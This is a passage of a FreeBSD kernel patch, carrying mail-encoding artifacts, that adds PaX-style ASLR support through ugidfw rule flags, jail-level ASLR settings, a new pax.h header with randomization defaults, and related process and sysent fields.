mac_bsdextended/mac_bsdextended.c index ccbc525..520168d 100644 --- a/sys/security/mac_bsdextended/mac_bsdextended.c +++ b/sys/security/mac_bsdextended/mac_bsdextended.c @@ -47,6 +47,8 @@ * firewall-like rules regarding users and file system objects. */ =20 +#include "opt_pax.h" + #include #include #include @@ -56,14 +58,20 @@ #include #include #include +#include #include #include #include #include #include #include +#include #include =20 +#ifdef PAX_ASLR +#include +#endif + #include #include #include @@ -117,7 +125,6 @@ SYSCTL_INT(_security_mac_bsdextended, OID_AUTO, firstma= tch_enabled, static int ugidfw_rule_valid(struct mac_bsdextended_rule *rule) { - if ((rule->mbr_subject.mbs_flags | MBS_ALL_FLAGS) !=3D MBS_ALL_FLAGS) return (EINVAL); if ((rule->mbr_subject.mbs_neg | MBS_ALL_FLAGS) !=3D MBS_ALL_FLAGS) @@ -129,8 +136,13 @@ ugidfw_rule_valid(struct mac_bsdextended_rule *rule) if ((rule->mbr_object.mbo_neg | MBO_TYPE_DEFINED) && (rule->mbr_object.mbo_type | MBO_ALL_TYPE) !=3D MBO_ALL_TYPE) return (EINVAL); +#ifdef PAX_ASLR + if ((rule->mbr_pax | MBI_ALLPAX) !=3D MBI_ALLPAX) + return (EINVAL); +#endif if ((rule->mbr_mode | MBI_ALLPERM) !=3D MBI_ALLPERM) return (EINVAL); + return (0); } =20 @@ -227,7 +239,7 @@ ugidfw_destroy(struct mac_policy_conf *mpc) =20 static int ugidfw_rulecheck(struct mac_bsdextended_rule *rule, - struct ucred *cred, struct vnode *vp, struct vattr *vap, int acc_mode) + struct ucred *cred, struct vnode *vp, struct vattr *vap, int acc_mode,= struct image_params *imgp) { int mac_granted, match, priv_granted; int i; @@ -305,6 +317,10 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, match =3D (bcmp(&(vp->v_mount->mnt_stat.f_fsid), &(rule->mbr_object.mbo_fsid), sizeof(rule->mbr_object.mbo_fsid)) =3D=3D 0); +#if defined(PAX_ASLR) + if (match && rule->mbr_object.mbo_inode) + match =3D (vap->va_fileid =3D=3D rule->mbr_object.mbo_inode); +#endif if (rule->mbr_object.mbo_neg & MBO_FSID_DEFINED) match =3D !match; if (!match) @@ -413,6 +429,11 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, return (EACCES); } =20 +#ifdef PAX_ASLR + if (imgp !=3D NULL) + pax_elf(imgp, rule->mbr_pax); +#endif + /* * If the rule matched, permits access, and first match is enabled, * return success. @@ -425,7 +446,7 @@ ugidfw_rulecheck(struct mac_bsdextended_rule *rule, =20 int ugidfw_check(struct ucred *cred, struct vnode *vp, struct vattr *vap, - int acc_mode) + int acc_mode, struct image_params *imgp) { int error, i; =20 @@ -441,7 +462,7 @@ ugidfw_check(struct ucred *cred, struct vnode *vp, stru= ct vattr *vap, if (rules[i] =3D=3D NULL) continue; error =3D ugidfw_rulecheck(rules[i], cred, - vp, vap, acc_mode); + vp, vap, acc_mode, imgp); if (error =3D=3D EJUSTRETURN) break; if (error) { @@ -454,7 +475,7 @@ ugidfw_check(struct ucred *cred, struct vnode *vp, stru= ct vattr *vap, } =20 int -ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode) +ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode, struct= image_params *imgp) { int error; struct vattr vap; @@ -464,7 +485,7 @@ ugidfw_check_vp(struct ucred *cred, struct vnode *vp, i= nt acc_mode) error =3D VOP_GETATTR(vp, &vap, cred); if (error) return (error); - return (ugidfw_check(cred, vp, &vap, acc_mode)); + return (ugidfw_check(cred, vp, &vap, acc_mode, imgp)); } =20 int diff --git a/sys/security/mac_bsdextended/mac_bsdextended.h b/sys/security/= mac_bsdextended/mac_bsdextended.h index c09abc0..c3cbf28 100644 --- a/sys/security/mac_bsdextended/mac_bsdextended.h +++ b/sys/security/mac_bsdextended/mac_bsdextended.h @@ -51,6 +51,9 @@ #define MBI_ADMIN 010000 #define MBI_STAT 020000 #define MBI_APPEND 040000 +#define MBI_FORCE_ASLR_ENABLED 0x01 +#define MBI_FORCE_ASLR_DISABLED 0x02 +#define MBI_ALLPAX (MBI_FORCE_ASLR_ENABLED | MBI_FORCE_ASLR_DISABLED) #define MBI_ALLPERM (MBI_EXEC | MBI_WRITE | MBI_READ | MBI_ADMIN | \ MBI_STAT | MBI_APPEND) =20 @@ -78,6 +81,7 @@ struct mac_bsdextended_subject { #define MBO_UID_SUBJECT 0x00000020 /* uid must match subject */ #define MBO_GID_SUBJECT 0x00000040 /* gid must match subject */ #define MBO_TYPE_DEFINED 0x00000080 /* object type should be matched */ +#define MBO_PAXPATH_DEFINED 0x00000100 /* TODO: paxpath should be matched = */ =20 #define MBO_ALL_FLAGS (MBO_UID_DEFINED | MBO_GID_DEFINED | MBO_FSID_DEFINE= D | \ MBO_SUID | MBO_SGID | MBO_UID_SUBJECT | MBO_GID_SUBJECT | \ @@ -103,12 +107,15 @@ struct mac_bsdextended_object { gid_t mbo_gid_max; struct fsid mbo_fsid; int mbo_type; + ino_t mbo_inode; + char mbo_paxpath[MAXPATHLEN]; }; =20 struct mac_bsdextended_rule { struct mac_bsdextended_subject mbr_subject; struct mac_bsdextended_object mbr_object; mode_t mbr_mode; /* maximum access */ + uint32_t mbr_pax; }; =20 #endif /* _SYS_SECURITY_MAC_BSDEXTENDED_H */ diff --git a/sys/security/mac_bsdextended/ugidfw_internal.h b/sys/security/= mac_bsdextended/ugidfw_internal.h index 5597fd1..18c74dc 100644 --- a/sys/security/mac_bsdextended/ugidfw_internal.h +++ b/sys/security/mac_bsdextended/ugidfw_internal.h @@ -36,8 +36,9 @@ */ int ugidfw_accmode2mbi(accmode_t accmode); int ugidfw_check(struct ucred *cred, struct vnode *vp, struct vattr *vap, - int acc_mode); -int ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode); + int acc_mode, struct image_params *imgp); +int ugidfw_check_vp(struct ucred *cred, struct vnode *vp, int acc_mode, + struct image_params *imgp); =20 /* * System access control checks. diff --git a/sys/security/mac_bsdextended/ugidfw_system.c b/sys/security/ma= c_bsdextended/ugidfw_system.c index 49e4f1d..2829a00 100644 --- a/sys/security/mac_bsdextended/ugidfw_system.c +++ b/sys/security/mac_bsdextended/ugidfw_system.c @@ -66,7 +66,7 @@ ugidfw_system_check_acct(struct ucred *cred, struct vnode= *vp, { =20 if (vp !=3D NULL) - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); else return (0); } @@ -77,7 +77,7 @@ ugidfw_system_check_auditctl(struct ucred *cred, struct v= node *vp, { =20 if (vp !=3D NULL) - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); else return (0); } @@ -87,5 +87,5 @@ ugidfw_system_check_swapon(struct ucred *cred, struct vno= de *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } diff --git a/sys/security/mac_bsdextended/ugidfw_vnode.c b/sys/security/mac= _bsdextended/ugidfw_vnode.c index 8ec2d48..2065e6e 100644 --- a/sys/security/mac_bsdextended/ugidfw_vnode.c +++ b/sys/security/mac_bsdextended/ugidfw_vnode.c @@ -65,7 +65,7 @@ ugidfw_vnode_check_access(struct ucred *cred, struct vnod= e *vp, struct label *vplabel, accmode_t accmode) { =20 - return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode))); + return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode), NULL)); } =20 int @@ -73,7 +73,7 @@ ugidfw_vnode_check_chdir(struct ucred *cred, struct vnode= *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -81,7 +81,7 @@ ugidfw_vnode_check_chroot(struct ucred *cred, struct vnod= e *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -89,7 +89,7 @@ ugidfw_check_create_vnode(struct ucred *cred, struct vnod= e *dvp, struct label *dvplabel, struct componentname *cnp, struct vattr *vap) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_WRITE)); + return (ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL)); } =20 int @@ -97,7 +97,7 @@ ugidfw_vnode_check_deleteacl(struct ucred *cred, struct v= node *vp, struct label *vplabel, acl_type_t type) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -105,7 +105,7 @@ ugidfw_vnode_check_deleteextattr(struct ucred *cred, st= ruct vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -114,7 +114,7 @@ ugidfw_vnode_check_exec(struct ucred *cred, struct vnod= e *vp, struct label *execlabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ|MBI_EXEC)); + return (ugidfw_check_vp(cred, vp, MBI_READ|MBI_EXEC, imgp)); } =20 int @@ -122,7 +122,7 @@ ugidfw_vnode_check_getacl(struct ucred *cred, struct vn= ode *vp, struct label *vplabel, acl_type_t type) { =20 - return (ugidfw_check_vp(cred, vp, MBI_STAT)); + return (ugidfw_check_vp(cred, vp, MBI_STAT, NULL)); } =20 int @@ -130,7 +130,7 @@ ugidfw_vnode_check_getextattr(struct ucred *cred, struc= t vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -140,10 +140,10 @@ ugidfw_vnode_check_link(struct ucred *cred, struct vn= ode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - error =3D ugidfw_check_vp(cred, vp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, vp, MBI_WRITE, NULL); if (error) return (error); return (0); @@ -154,7 +154,7 @@ ugidfw_vnode_check_listextattr(struct ucred *cred, stru= ct vnode *vp, struct label *vplabel, int attrnamespace) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -162,7 +162,7 @@ ugidfw_vnode_check_lookup(struct ucred *cred, struct vn= ode *dvp, struct label *dvplabel, struct componentname *cnp) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_EXEC)); + return (ugidfw_check_vp(cred, dvp, MBI_EXEC, NULL)); } =20 int @@ -170,7 +170,7 @@ ugidfw_vnode_check_open(struct ucred *cred, struct vnod= e *vp, struct label *vplabel, accmode_t accmode) { =20 - return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode))); + return (ugidfw_check_vp(cred, vp, ugidfw_accmode2mbi(accmode), NULL)); } =20 int @@ -178,7 +178,7 @@ ugidfw_vnode_check_readdir(struct ucred *cred, struct v= node *dvp, struct label *dvplabel) { =20 - return (ugidfw_check_vp(cred, dvp, MBI_READ)); + return (ugidfw_check_vp(cred, dvp, MBI_READ, NULL)); } =20 int @@ -186,7 +186,7 @@ ugidfw_vnode_check_readdlink(struct ucred *cred, struct= vnode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_READ)); + return (ugidfw_check_vp(cred, vp, MBI_READ, NULL)); } =20 int @@ -196,10 +196,10 @@ ugidfw_vnode_check_rename_from(struct ucred *cred, st= ruct vnode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -209,11 +209,11 @@ ugidfw_vnode_check_rename_to(struct ucred *cred, stru= ct vnode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); if (vp !=3D NULL) - error =3D ugidfw_check_vp(cred, vp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, vp, MBI_WRITE, NULL); return (error); } =20 @@ -222,7 +222,7 @@ ugidfw_vnode_check_revoke(struct ucred *cred, struct vn= ode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -230,7 +230,7 @@ ugidfw_check_setacl_vnode(struct ucred *cred, struct vn= ode *vp, struct label *vplabel, acl_type_t type, struct acl *acl) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -238,7 +238,7 @@ ugidfw_vnode_check_setextattr(struct ucred *cred, struc= t vnode *vp, struct label *vplabel, int attrnamespace, const char *name) { =20 - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } =20 int @@ -246,7 +246,7 @@ ugidfw_vnode_check_setflags(struct ucred *cred, struct = vnode *vp, struct label *vplabel, u_long flags) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -254,7 +254,7 @@ ugidfw_vnode_check_setmode(struct ucred *cred, struct v= node *vp, struct label *vplabel, mode_t mode) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -262,7 +262,7 @@ ugidfw_vnode_check_setowner(struct ucred *cred, struct = vnode *vp, struct label *vplabel, uid_t uid, gid_t gid) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -270,7 +270,7 @@ ugidfw_vnode_check_setutimes(struct ucred *cred, struct= vnode *vp, struct label *vplabel, struct timespec atime, struct timespec utime) { =20 - return (ugidfw_check_vp(cred, vp, MBI_ADMIN)); + return (ugidfw_check_vp(cred, vp, MBI_ADMIN, NULL)); } =20 int @@ -278,7 +278,7 @@ ugidfw_vnode_check_stat(struct ucred *active_cred, struct ucred *file_cred, struct vnode *vp, struct label *vplabel) { =20 - return (ugidfw_check_vp(active_cred, vp, MBI_STAT)); + return (ugidfw_check_vp(active_cred, vp, MBI_STAT, NULL)); } =20 int @@ -288,8 +288,8 @@ ugidfw_vnode_check_unlink(struct ucred *cred, struct vn= ode *dvp, { int error; =20 - error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE); + error =3D ugidfw_check_vp(cred, dvp, MBI_WRITE, NULL); if (error) return (error); - return (ugidfw_check_vp(cred, vp, MBI_WRITE)); + return (ugidfw_check_vp(cred, vp, MBI_WRITE, NULL)); } diff --git a/sys/sparc64/sparc64/elf_machdep.c b/sys/sparc64/sparc64/elf_ma= chdep.c index 4d55717..e0eba33 100644 --- a/sys/sparc64/sparc64/elf_machdep.c +++ b/sys/sparc64/sparc64/elf_machdep.c @@ -34,6 +34,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -52,6 +54,10 @@ __FBSDID("$FreeBSD$"); =20 #include =20 +#ifdef PAX_ASLR +#include +#endif + #include "linker_if.h" =20 static struct sysentvec elf64_freebsd_sysvec =3D { @@ -87,6 +93,11 @@ static struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { diff --git a/sys/sys/imgact.h b/sys/sys/imgact.h index 17cfcc2..15c2c4f 100644 --- a/sys/sys/imgact.h +++ b/sys/sys/imgact.h @@ -78,6 +78,7 @@ struct image_params { unsigned long pagesizes; int pagesizeslen; vm_prot_t stack_prot; + int pax_flags; }; =20 #ifdef _KERNEL diff --git a/sys/sys/jail.h b/sys/sys/jail.h index 59d791c..699b21c 100644 --- a/sys/sys/jail.h +++ b/sys/sys/jail.h @@ -184,6 +184,19 @@ struct prison { char pr_hostname[MAXHOSTNAMELEN]; /* (p) jail hostname */ char pr_domainname[MAXHOSTNAMELEN]; /* (p) jail domainname */ char pr_hostuuid[HOSTUUIDLEN]; /* (p) jail hostuuid */ + /* Lock only needed for pax_* if pr_pax_set =3D=3D 0 */ + int pr_pax_set; /* (p) PaX settings initialized */ + int pr_pax_aslr_status; /* (p) PaX ASLR enabled */ + int pr_pax_aslr_debug; /* (p) PaX ASLR debug */ + int pr_pax_aslr_mmap_len; /* (p) Number of bits randomized with mmap */ + int pr_pax_aslr_stack_len; /* (p) Number of bits randomized with stack= */ + int pr_pax_aslr_exec_len; /* (p) Number of bits randomized with the ex= ecbase */ + int pr_pax_aslr_compat_status; /* (p) PaX ASLR enabled (compat32) */ + int pr_pax_aslr_compat_mmap_len; /* (p) Number of bits randomized with = mmap (compat32) */ + int pr_pax_aslr_compat_stack_len; /* (p) Number of bits randomized with= stack (compat32) */ + int pr_pax_aslr_compat_exec_len; /* (p) Number of bits randomized with = the execbase (compat32) */ + int pr_pax_log_log; /* (p) XXX */ + int pr_pax_log_ulog; /* (p) XXX */ }; =20 struct prison_racct { diff --git a/sys/sys/kernel.h b/sys/sys/kernel.h index 3c5258a..aedb52e 100644 --- a/sys/sys/kernel.h +++ b/sys/sys/kernel.h @@ -102,6 +102,7 @@ enum sysinit_sub_id { SI_SUB_WITNESS =3D 0x1A80000, /* witness initialization */ SI_SUB_MTX_POOL_DYNAMIC =3D 0x1AC0000, /* dynamic mutex pool */ SI_SUB_LOCK =3D 0x1B00000, /* various locks */ + SI_SUB_PAX =3D 0x1B50000, /* pax setup */ SI_SUB_EVENTHANDLER =3D 0x1C00000, /* eventhandler init */ SI_SUB_VNET_PRELINK =3D 0x1E00000, /* vnet init before modules */ SI_SUB_KLD =3D 0x2000000, /* KLD and module setup */ diff --git a/sys/sys/pax.h b/sys/sys/pax.h new file mode 100644 index 0000000..a0f2bf6 --- /dev/null +++ b/sys/sys/pax.h @@ -0,0 +1,226 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#ifndef __SYS_PAX_H +#define __SYS_PAX_H + +struct image_params; +struct prison; +struct thread; +struct vnode; +struct vmspace; +struct vm_offset_t; + +/* + * used in sysctl handler + */ +#define PAX_ASLR_DISABLED 0 +#define PAX_ASLR_OPTIN 1 +#define PAX_ASLR_OPTOUT 2 +#define PAX_ASLR_FORCE_ENABLED 3 + +#ifndef PAX_ASLR_DELTA +#define PAX_ASLR_DELTA(delta, lsb, len) \ + (((delta) & ((1UL << (len)) - 1)) << (lsb)) +#endif /* PAX_ASLR_DELTA */ + +#ifdef PAX_ASLR +/* + * generic ASLR values + * + * MMAP | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 8 bit | 16 bit | + * +-------+--------+--------+ + * | DEF | 8 bit | 21 bit | + * +-------+--------+--------+ + * | MAX | 16 bit | 32 bit | + * +-------+--------+--------+ + * + * STACK | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 6 bit | 12 bit | + * +-------+--------+--------+ + * | DEF | 6 bit | 16 bit | + * +-------+--------+--------+ + * | MAX | 10 bit | 21 bit | + * +-------+--------+--------+ + * + * EXEC | 32 bit | 64 bit | + * +-------+--------+--------+ + * | MIN | 6 bit | 12 bit | + * +-------+--------+--------+ + * | DEF | 6 bit | 21 bit | + * +-------+--------+--------+ + * | MAX | 10 bit | 21 bit | + * +-------+--------+--------+ + * + */ +#ifndef PAX_ASLR_DELTA_MMAP_LSB +#define PAX_ASLR_DELTA_MMAP_LSB PAGE_SHIFT +#endif /* PAX_ASLR_DELTA_MMAP_LSB */ + +#ifndef PAX_ASLR_DELTA_MMAP_MIN_LEN +#define PAX_ASLR_DELTA_MMAP_MIN_LEN ((sizeof(void *) * NBBY) / 4) +#endif /* PAX_ASLR_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_MMAP_MAX_LEN +#define PAX_ASLR_DELTA_MMAP_MAX_LEN ((sizeof(void *) * NBBY) / 2) +#endif /* PAX_ASLR_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_STACK_LSB +#define PAX_ASLR_DELTA_STACK_LSB 3 +#endif /* PAX_ASLR_DELTA_STACK_LSB */ + +#ifndef PAX_ASLR_DELTA_STACK_MIN_LEN +#define PAX_ASLR_DELTA_STACK_MIN_LEN ((sizeof(void *) * NBBY) / 5) +#endif /* PAX_ASLR_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_STACK_MAX_LEN +#define PAX_ASLR_DELTA_STACK_MAX_LEN ((sizeof(void *) * NBBY) / 3) +#endif /* PAX_ASLR_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_EXEC_LSB +#define PAX_ASLR_DELTA_EXEC_LSB PAGE_SHIFT +#endif /* PAX_ASLR_DELTA_EXEC_LSB */ + +#ifndef PAX_ASLR_DELTA_EXEC_MIN_LEN +#define PAX_ASLR_DELTA_EXEC_MIN_LEN ((sizeof(void *) * NBBY) / 5) +#endif /* PAX_ASLR_DELTA_EXEC_MAX_LEN */ + +#ifndef PAX_ASLR_DELTA_EXEC_MAX_LEN +#define PAX_ASLR_DELTA_EXEC_MAX_LEN ((sizeof(void *) * NBBY) / 3) +#endif /* PAX_ASLR_DELTA_EXEC_MAX_LEN */ + +/* + * ASLR default values for native host + */ +#ifdef __amd64__ +#ifndef PAX_ASLR_DELTA_MMAP_DEF_LEN +#define PAX_ASLR_DELTA_MMAP_DEF_LEN 21 +#endif /* PAX_ASLR_DELTA_MMAP_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_STACK_DEF_LEN +#define PAX_ASLR_DELTA_STACK_DEF_LEN 16 +#endif /* PAX_ASLR_DELTA_STACK_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_EXEC_DEF_LEN +#define PAX_ASLR_DELTA_EXEC_DEF_LEN 21 +#endif /* PAX_ASLR_DELTA_EXEC_DEF_LEN */ +#else +#ifndef PAX_ASLR_DELTA_MMAP_DEF_LEN +#define PAX_ASLR_DELTA_MMAP_DEF_LEN PAX_ASLR_DELTA_MMAP_MIN_LEN +#endif /* PAX_ASLR_DELTA_MMAP_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_STACK_DEF_LEN +#define PAX_ASLR_DELTA_STACK_DEF_LEN PAX_ASLR_DELTA_STACK_MIN_LEN +#endif /* PAX_ASLR_DELTA_STACK_DEF_LEN */ +#ifndef PAX_ASLR_DELTA_EXEC_DEF_LEN +#define PAX_ASLR_DELTA_EXEC_DEF_LEN PAX_ASLR_DELTA_EXEC_MIN_LEN +#endif /* PAX_ASLR_DELTA_EXEC_DEF_LEN */ +#endif /* __amd64__ */ + +/* + * ASLR values for COMPAT_FREEBSD32 and COMPAT_LINUX + */ +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_LSB +#define PAX_ASLR_COMPAT_DELTA_MMAP_LSB PAGE_SHIFT +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_LSB */ + +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_MMAP_MIN_LEN ((sizeof(int) * NBBY) / 4) +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN ((sizeof(int) * NBBY) / 2) +#endif /* PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_LSB +#define PAX_ASLR_COMPAT_DELTA_STACK_LSB 3 +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_LSB */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_STACK_MIN_LEN ((sizeof(int) * NBBY) / 5) +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN ((sizeof(int) * NBBY) / 3) +#endif /* PAX_ASLR_COMPAT_DELTA_STACK_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN +#define PAX_ASLR_COMPAT_DELTA_EXEC_MIN_LEN ((sizeof(int) * NBBY) / 5) +#endif /* PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN */ + +#ifndef PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN +#define PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN ((sizeof(int) * NBBY) / 3) +#endif /* PAX_ASLR_COMPAT_DELTA_EXEC_MAX_LEN */ + +extern int pax_aslr_status; +extern int pax_aslr_debug; + +extern int pax_aslr_mmap_len; +extern int pax_aslr_stack_len; +extern int pax_aslr_exec_len; +#ifdef COMPAT_FREEBSD32 +extern int pax_aslr_compat_status; +extern int pax_aslr_compat_mmap_len; +extern int pax_aslr_compat_stack_len; +extern int pax_aslr_compat_exec_len; +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + +extern int pax_log_log; +extern int pax_log_ulog; + +#define ELF_NOTE_TYPE_PAX_TAG 3 +#define PAX_NOTE_MPROTECT 0x01 +#define PAX_NOTE_NOMPROTECT 0x02 +#define PAX_NOTE_GUARD 0x04 +#define PAX_NOTE_NOGUARD 0x08 +#define PAX_NOTE_ASLR 0x10 +#define PAX_NOTE_NOASLR 0x20 + +#define PAX_LOG_LOG 0 +#define PAX_LOG_ULOG 0 + +void pax_init(void); +void pax_init_prison(struct prison *pr); +bool pax_aslr_active(struct thread *td, struct proc *proc); +void _pax_aslr_init(struct vmspace *vm, struct prison *pr); +void _pax_aslr_init32(struct vmspace *vm, struct prison *pr); +void pax_aslr_init(struct thread *td, struct image_params *imgp); +void pax_aslr_mmap(struct thread *td, vm_offset_t *addr,=20 + vm_offset_t orig_addr, int flags); +void pax_aslr_stack(struct thread *td, uintptr_t *addr); +struct prison *pax_get_prison(struct thread *td, struct proc *proc); +void pax_elf(struct image_params *, uint32_t); + +void pax_log_aslr(struct prison *pr, const char *func, const char *fmt, ..= =2E); +void pax_ulog_aslr(struct prison *pr, const char *func, const char *fmt, .= =2E.); + +#endif /* __SYS_PAX_H */ diff --git a/sys/sys/proc.h b/sys/sys/proc.h index fbd064c..558d7bf 100644 --- a/sys/sys/proc.h +++ b/sys/sys/proc.h @@ -539,6 +539,7 @@ struct proc { u_int p_stops; /* (c) Stop event bitmask. */ u_int p_stype; /* (c) Stop event type. */ char p_step; /* (c) Process is stopped. */ + u_int p_pax; /* (b) PaX is enabled to this process */ u_char p_pfsflags; /* (c) Procfs flags. */ struct nlminfo *p_nlminfo; /* (?) Only used by/for lockd. */ struct kaioinfo *p_aioinfo; /* (y) ASYNC I/O info. */ diff --git a/sys/sys/sysent.h b/sys/sys/sysent.h index c49db41..cfbcdc0 100644 --- a/sys/sys/sysent.h +++ b/sys/sys/sysent.h @@ -77,9 +77,11 @@ struct sysent { /* system call table */ #define SY_THR_INCR 0x8 =20 struct image_params; +struct prison; struct __sigset; struct syscall_args; struct trapframe; +struct vmspace; struct vnode; =20 struct sysentvec { @@ -130,6 +132,7 @@ struct sysentvec { uint32_t sv_timekeep_gen; void *sv_shared_page_obj; void (*sv_schedtail)(struct thread *); + void 